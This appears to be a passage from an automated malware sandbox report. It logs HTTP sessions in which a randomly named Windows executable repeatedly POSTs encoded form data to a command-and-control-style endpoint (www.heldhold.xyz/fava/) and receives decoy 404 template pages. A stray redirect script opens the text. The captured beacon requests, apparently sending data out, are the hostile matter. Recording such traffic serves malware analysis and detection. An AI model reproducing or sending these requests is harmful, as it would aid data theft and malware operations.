html><html><head><script>window.onload=function(){window.location.href="/lander?pP_8=eI40u+kXl6dCNOxuFKbCigR1N86mEgfKXPnA2oRVh57cb1FOyw5acKt1uSVkrtOGePUCnlUQIJS7kZjahSWR6R1adFopucWDE2ha6/s1PPXDYip6cFIdDHY=&V0Qh=4pBta8"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	63329	67.223.117.189	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:18:21.117927074 CEST	763	OUT	POST /fava/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.heldhold.xyz Origin: http://www.heldhold.xyz Content-Length: 201 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.heldhold.xyz/fava/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 4c 41 72 35 71 39 4c 79 57 75 6f 35 4e 30 5a 50 59 48 74 39 58 66 65 4c 57 76 59 67 6e 62 51 70 47 34 43 52 46 53 73 39 76 56 39 51 56 46 6f 43 59 4c 41 78 41 6f 62 52 50 6e 6e 39 75 49 77 71 33 4a 77 37 66 44 42 32 4a 37 6b 4a 30 70 70 51 33 73 38 47 66 6a 51 50 6b 35 4f 64 4e 44 4f 4f 6a 57 4a 4b 6f 67 63 64 37 45 46 54 49 2f 74 51 64 5a 71 46 59 4b 77 36 78 7a 36 6e 47 50 4a 39 78 63 4f 32 66 76 51 71 58 74 2f 67 5a 76 67 78 71 43 53 73 45 44 44 2f 53 37 65 49 45 45 74 61 64 75 44 68 73 51 53 31 67 63 52 34 54 76 31 42 77 55 4c 67 42 37 6b 42 53 4f 66 4d 2f 5a 6c 4e 76 51 3d 3d Data Ascii: pP_8=LAr5q9LyWuo5N0ZPYHt9XfeLWvYgnbQpG4CRFSs9vV9QVFoCYLAxAobRPnn9uIwq3Jw7fDB2J7kJ0ppQ3s8GfjQPk5OdNDOOjWJKogcd7EFTI/tQdZqFYKw6xz6nGPJ9xcO2fvQqXt/gZvgxqCSsEDD/S7eIEEtaduDhsQS1gcR4Tv1BwULgB7kBSOfM/ZlNvQ==
Sep 11, 2024 11:18:22.311043978 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Sep 2024 09:18:21 GMT Server: Apache Content-Length: 32106 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Fables"> <meta name="author" content="Enterprise Development"> <link rel="shortcut icon" href="assets/custom/images/shortcut.png"> <title> 404</title> ... animate.css--> <link href="assets/vendor/animate.css-master/animate.min.css" rel="stylesheet"> ... Load Screen --> <link href="assets/vendor/loadscreen/css/spinkit.css" rel="stylesheet"> ... GOOGLE FONT --> <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i" rel="stylesheet"> ... Font Awesome 5 --> <link href="assets/vendor/fontawesome/css/fontawesome-all.min.css" rel="stylesheet"> ... Fables Icons --> <link href="assets/custom/css/fables-icons.css" rel="stylesheet"> ... Bootstrap CSS --> <link href="assets/vendor/bootstrap/css/boo [TRUNCATED]
Sep 11, 2024 11:18:22.311181068 CEST	1236	IN	Data Raw: 62 6f 6f 74 73 74 72 61 70 2d 34 2d 6e 61 76 62 61 72 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 41 4e 43 59 20 42 4f 58 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 Data Ascii: bootstrap-4-navbar.css" rel="stylesheet"> ... FANCY BOX --> <link href="assets/vendor/fancybox-master/jquery.fancybox.min.css" rel="stylesheet"> ... OWL CAROUSEL --> <link href="assets/vendor/owlcarousel/owl.carousel.min.css
Sep 11, 2024 11:18:22.311203957 CEST	1236	IN	Data Raw: 69 74 65 22 3e 20 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 73 65 61 72 63 68 22 3e 3c 2f 69 3e 20 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: ite"> <i class="fas fa-search"></i> </button> </div> </div> </form> </div> </div>... Loading Screen --><div id="ju-loading-screen"> <div class="sk-double-bounce"> <div class="sk-child
Sep 11, 2024 11:18:22.311219931 CEST	1236	IN	Data Raw: 67 6c 69 73 68 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 20 77 68 69 74 65 2d 63 6f 6c 6f 72 20 66 6f 6e 74 2d 31 33 20 66 61 62 6c Data Ascii: glish</a> <a class="dropdown-item white-color font-13 fables-second-hover-color" href="#"> <img src="assets/custom/images/France.png" alt="england flag" class="mr-1"> French</a>
Sep 11, 2024 11:18:22.311234951 CEST	896	IN	Data Raw: 6e 64 65 78 2e 68 74 6d 6c 22 3e 3c 69 6d 67 20 73 72 63 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 66 61 62 6c 65 73 2d 6c 6f 67 6f 2e 70 6e 67 22 20 61 6c 74 3d 22 46 61 62 6c 65 73 20 54 65 6d 70 6c 61 74 65 22 20 63 Data Ascii: ndex.html"><img src="assets/custom/images/fables-logo.png" alt="Fables Template" class="fables-logo"></a> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#fablesNavDropdown" aria-con
Sep 11, 2024 11:18:22.311249018 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 48 6f 6d 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: Home </a> <ul class="dropdown-menu" aria-labelledby="sub-nav1"> <li><a class="dropdown-item" href="home1.html">Ho
Sep 11, 2024 11:18:22.311264038 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 22 3e 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <ul class="dropdown-menu"> <li><a class="dropdown-item dropdown-toggle" href="#">Header 1</a> <ul class="dropdown-menu
Sep 11, 2024 11:18:22.311279058 CEST	448	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 22 20 68 Data Ascii: <li><a class="dropdown-item" href="header2-light.html">Header 2 Light</a></li> <li><a class="dropdown-item" href="header2-dark.html
Sep 11, 2024 11:18:22.311294079 CEST	1236	IN	Data Raw: 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 20 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 22 20 68 72 65 66 3d 22 23 22 3e 48 65 61 64 65 72 20 33 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: lass="dropdown-item dropdown-toggle" href="#">Header 3</a> <ul class="dropdown-menu"> <li><a class="dropdown-item" href="header
Sep 11, 2024 11:18:22.311309099 CEST	1236	IN	Data Raw: 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 22 20 68 72 65 66 3d 22 68 65 61 64 65 72 34 2d 64 61 72 6b 2e 68 74 6d 6c 22 3e 48 65 61 64 65 72 20 34 20 44 61 72 6b 3c 2f 61 3e 3c 2f 6c 69 3e 0a Data Ascii: <li><a class="dropdown-item" href="header4-dark.html">Header 4 Dark</a></li> </ul> </li>
Sep 11, 2024 11:18:22.311325073 CEST	1236	IN	Data Raw: 6e 75 22 3e 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d Data Ascii: nu"> <li><a class="dropdown-item dropdown-toggle" href="#">Footer 1</a> <ul class="dropdown-menu">
Sep 11, 2024 11:18:22.311614990 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Sep 2024 09:18:21 GMT Server: Apache Content-Length: 32106 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Fables"> <meta name="author" content="Enterprise Development"> <link rel="shortcut icon" href="assets/custom/images/shortcut.png"> <title> 404</title> ... animate.css--> <link href="assets/vendor/animate.css-master/animate.min.css" rel="stylesheet"> ... Load Screen --> <link href="assets/vendor/loadscreen/css/spinkit.css" rel="stylesheet"> ... GOOGLE FONT --> <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i" rel="stylesheet"> ... Font Awesome 5 --> <link href="assets/vendor/fontawesome/css/fontawesome-all.min.css" rel="stylesheet"> ... Fables Icons --> <link href="assets/custom/css/fables-icons.css" rel="stylesheet"> ... Bootstrap CSS --> <link href="assets/vendor/bootstrap/css/boo [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	63330	67.223.117.189	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:18:23.663914919 CEST	783	OUT	POST /fava/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.heldhold.xyz Origin: http://www.heldhold.xyz Content-Length: 221 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.heldhold.xyz/fava/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 4c 41 72 35 71 39 4c 79 57 75 6f 35 4e 55 70 50 55 41 5a 39 43 76 65 45 63 50 59 67 2b 4c 51 58 47 34 47 52 46 51 42 34 73 6a 4e 51 56 6e 77 43 5a 50 55 78 42 6f 62 52 58 58 6e 38 6a 6f 77 74 33 4a 38 4a 66 43 39 32 4a 37 77 4a 30 70 5a 51 33 66 45 46 66 7a 51 4e 2f 4a 50 62 4a 44 4f 4f 6a 57 4a 4b 6f 67 59 6e 37 45 64 54 49 50 39 51 50 4e 2b 43 65 36 77 31 77 7a 36 6e 4c 76 4a 35 78 63 50 6a 66 72 51 45 58 76 33 67 5a 71 45 78 71 7a 53 76 4e 44 44 44 4e 72 66 69 4b 6c 51 44 62 38 4c 68 76 53 43 79 70 76 4e 2b 53 70 6b 62 68 6c 71 33 54 37 41 79 50 4a 57 34 79 61 59 45 30 54 43 2f 64 4a 51 73 46 59 6d 75 62 38 49 62 38 69 34 33 37 70 38 3d Data Ascii: pP_8=LAr5q9LyWuo5NUpPUAZ9CveEcPYg+LQXG4GRFQB4sjNQVnwCZPUxBobRXXn8jowt3J8JfC92J7wJ0pZQ3fEFfzQN/JPbJDOOjWJKogYn7EdTIP9QPN+Ce6w1wz6nLvJ5xcPjfrQEXv3gZqExqzSvNDDDNrfiKlQDb8LhvSCypvN+Spkbhlq3T7AyPJW4yaYE0TC/dJQsFYmub8Ib8i437p8=
Sep 11, 2024 11:18:24.239707947 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Sep 2024 09:18:24 GMT Server: Apache Content-Length: 32106 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Fables"> <meta name="author" content="Enterprise Development"> <link rel="shortcut icon" href="assets/custom/images/shortcut.png"> <title> 404</title> ... animate.css--> <link href="assets/vendor/animate.css-master/animate.min.css" rel="stylesheet"> ... Load Screen --> <link href="assets/vendor/loadscreen/css/spinkit.css" rel="stylesheet"> ... GOOGLE FONT --> <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i" rel="stylesheet"> ... Font Awesome 5 --> <link href="assets/vendor/fontawesome/css/fontawesome-all.min.css" rel="stylesheet"> ... Fables Icons --> <link href="assets/custom/css/fables-icons.css" rel="stylesheet"> ... Bootstrap CSS --> <link href="assets/vendor/bootstrap/css/boo [TRUNCATED]
Sep 11, 2024 11:18:24.239788055 CEST	224	IN	Data Raw: 62 6f 6f 74 73 74 72 61 70 2d 34 2d 6e 61 76 62 61 72 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 41 4e 43 59 20 42 4f 58 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 Data Ascii: bootstrap-4-navbar.css" rel="stylesheet"> ... FANCY BOX --> <link href="assets/vendor/fancybox-master/jquery.fancybox.min.css" rel="stylesheet"> ... OWL CAROUSEL --> <link href="assets/vendor/owlcarousel/o
Sep 11, 2024 11:18:24.239837885 CEST	1236	IN	Data Raw: 77 6c 2e 63 61 72 6f 75 73 65 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 6f 77 6c 63 61 72 6f 75 73 65 6c 2f 6f Data Ascii: wl.carousel.min.css" rel="stylesheet"> <link href="assets/vendor/owlcarousel/owl.theme.default.min.css" rel="stylesheet"> ... Timeline --> <link rel="stylesheet" href="assets/vendor/timeline/timeline.css"> ... FABLES CUSTOM C
Sep 11, 2024 11:18:24.239885092 CEST	1236	IN	Data Raw: 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 2d 63 68 69 6c 64 20 73 6b 2d 64 6f 75 62 6c 65 2d 62 6f 75 6e 63 65 31 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 2d 63 68 69 6c 64 20 73 6b 2d 64 6f 75 62 6c 65 2d 62 Data Ascii: div class="sk-child sk-double-bounce1"></div> <div class="sk-child sk-double-bounce2"></div> </div></div>... Start Top Header --><div class="fables-forth-background-color fables-top-header-signin"> <div class="container">
Sep 11, 2024 11:18:24.239928007 CEST	1236	IN	Data Raw: 3e 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f Data Ascii: > </div> </div> </div> <div class="col-12 col-sm-5 col-lg-4 text-right"> <p class="fables-third-text-color font-13"><span class="fables-iconphone"></sp
Sep 11, 2024 11:18:24.239962101 CEST	672	IN	Data Raw: 76 44 72 6f 70 64 6f 77 6e 22 20 61 72 69 61 2d 63 6f 6e 74 72 6f 6c 73 3d 22 66 61 62 6c 65 73 4e 61 76 44 72 6f 70 64 6f 77 6e 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 3d 22 66 61 6c 73 65 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 54 6f 67 Data Ascii: vDropdown" aria-controls="fablesNavDropdown" aria-expanded="false" aria-label="Toggle navigation"> <span class="fables-iconmenu-icon text-white font-16"></span> </button>
Sep 11, 2024 11:18:24.239984035 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 48 6f 6d 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: Home </a> <ul class="dropdown-menu" aria-labelledby="sub-nav1"> <li><a class="dropdown-item" href="home1.html">Ho
Sep 11, 2024 11:18:24.240005016 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 22 3e 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <ul class="dropdown-menu"> <li><a class="dropdown-item dropdown-toggle" href="#">Header 1</a> <ul class="dropdown-menu
Sep 11, 2024 11:18:24.240026951 CEST	448	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 22 20 68 Data Ascii: <li><a class="dropdown-item" href="header2-light.html">Header 2 Light</a></li> <li><a class="dropdown-item" href="header2-dark.html
Sep 11, 2024 11:18:24.240151882 CEST	1236	IN	Data Raw: 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 20 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 22 20 68 72 65 66 3d 22 23 22 3e 48 65 61 64 65 72 20 33 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: lass="dropdown-item dropdown-toggle" href="#">Header 3</a> <ul class="dropdown-menu"> <li><a class="dropdown-item" href="header
Sep 11, 2024 11:18:24.246325016 CEST	1236	IN	Data Raw: 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 22 20 68 72 65 66 3d 22 68 65 61 64 65 72 34 2d 64 61 72 6b 2e 68 74 6d 6c 22 3e 48 65 61 64 65 72 20 34 20 44 61 72 6b 3c 2f 61 3e 3c 2f 6c 69 3e 0a Data Ascii: <li><a class="dropdown-item" href="header4-dark.html">Header 4 Dark</a></li> </ul> </li>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	63331	67.223.117.189	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:18:26.204415083 CEST	10865	OUT	POST /fava/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.heldhold.xyz Origin: http://www.heldhold.xyz Content-Length: 10301 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.heldhold.xyz/fava/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 4c 41 72 35 71 39 4c 79 57 75 6f 35 4e 55 70 50 55 41 5a 39 43 76 65 45 63 50 59 67 2b 4c 51 58 47 34 47 52 46 51 42 34 73 6a 46 51 56 55 34 43 59 75 55 78 48 59 62 52 4a 6e 6e 68 6a 6f 77 77 33 4a 30 4e 66 43 77 4c 4a 35 49 4a 30 49 35 51 2f 4f 45 46 55 7a 51 4e 67 35 50 4c 4e 44 4f 62 6a 57 5a 47 6f 67 49 6e 37 45 64 54 49 4e 31 51 4d 5a 71 43 46 36 77 36 78 7a 36 6a 47 50 4a 52 78 63 47 59 66 72 63 36 58 66 58 67 59 4b 30 78 35 78 71 76 43 44 44 42 4f 72 66 36 4b 6c 63 6d 62 38 57 61 76 54 47 55 70 6f 6c 2b 52 2b 55 4e 30 45 43 2f 47 72 63 56 62 5a 75 67 37 35 6c 45 79 51 53 57 5a 59 52 78 47 37 36 75 42 65 70 4b 67 44 6b 4f 69 2f 79 47 2b 4b 7a 2b 32 61 71 2f 72 43 74 4a 39 30 47 65 35 79 51 65 70 76 6e 79 63 39 79 71 51 61 49 76 72 35 37 4e 62 33 65 46 74 34 46 55 65 6b 68 35 4d 50 4d 6d 61 70 63 4d 64 30 6a 4b 42 58 77 4e 66 45 5a 6c 57 46 65 48 39 72 6b 6f 4b 30 41 38 57 6e 48 58 50 45 74 42 59 6a 56 4b 67 76 5a 61 32 47 54 67 57 70 78 4b 4d 70 31 64 48 4f 41 55 70 70 66 6b 76 [TRUNCATED] Data Ascii: pP_8=LAr5q9LyWuo5NUpPUAZ9CveEcPYg+LQXG4GRFQB4sjFQVU4CYuUxHYbRJnnhjoww3J0NfCwLJ5IJ0I5Q/OEFUzQNg5PLNDObjWZGogIn7EdTIN1QMZqCF6w6xz6jGPJRxcGYfrc6XfXgYK0x5xqvCDDBOrf6Klcmb8WavTGUpol+R+UN0EC/GrcVbZug75lEyQSWZYRxG76uBepKgDkOi/yG+Kz+2aq/rCtJ90Ge5yQepvnyc9yqQaIvr57Nb3eFt4FUekh5MPMmapcMd0jKBXwNfEZlWFeH9rkoK0A8WnHXPEtBYjVKgvZa2GTgWpxKMp1dHOAUppfkvRo7eoKfLY8t8NLMhxg8dFCmt5JB9hxzAA/4u7/3YloBoLVxPw7IxKP/oOIhSckUrq3OSR059NS25EOLB5LmjR4JQqCXv2303LXeZGE7Pg1i0vHhCLWDWWYnjdPqdSwkZ1frY3E8pgyE+mKc4uRPx4VDocin0sSzwXEK8vz3o6wRiZAuaTcZlaIh++QYVoxuxhlQpw4jQyrWkfh7dLOkFN3DDdakEh8yGE9OYB/+xG1HJd4OEWhM1NlRrcwqg+xVSNEE7l0lp4oX+XqL2/tZqXALX/c7VvPP8l+08U1Q4MMDoOAgqQsoL9IsJFdELiUkDw4m1Mh9exI/pwLIqzfK+cudPcP3ciS33Nc859EogxNrx29EoK9XtDCODnLEHObWRyLbXLnHqWH4MBA0Cyyum/WLaPNR1SPvYQ/RFeIi4/69Y1kyzKWR7EKPyJj3iqwcCvPeI4kD5SxEBA2hjCpwcMH7PcNQoKO/aptffI7HxFkBEa3w6A7UfoM/u3bFHncBF6gklxE8NFOd1QKO1DrHvsFuXgU9kvdjRghGRyh4CZsLYG0mNZU0MXZ3ISGtZtiQ9TfxS0Ao2I21tGNVOYo3vzGiYs1EOU8/bXs+qNGY2usrxMb39BkuuyabWfmw7kDx1QIZv13g/68OjaFmfJwPgt7qCQkfXERIq4A [TRUNCATED]
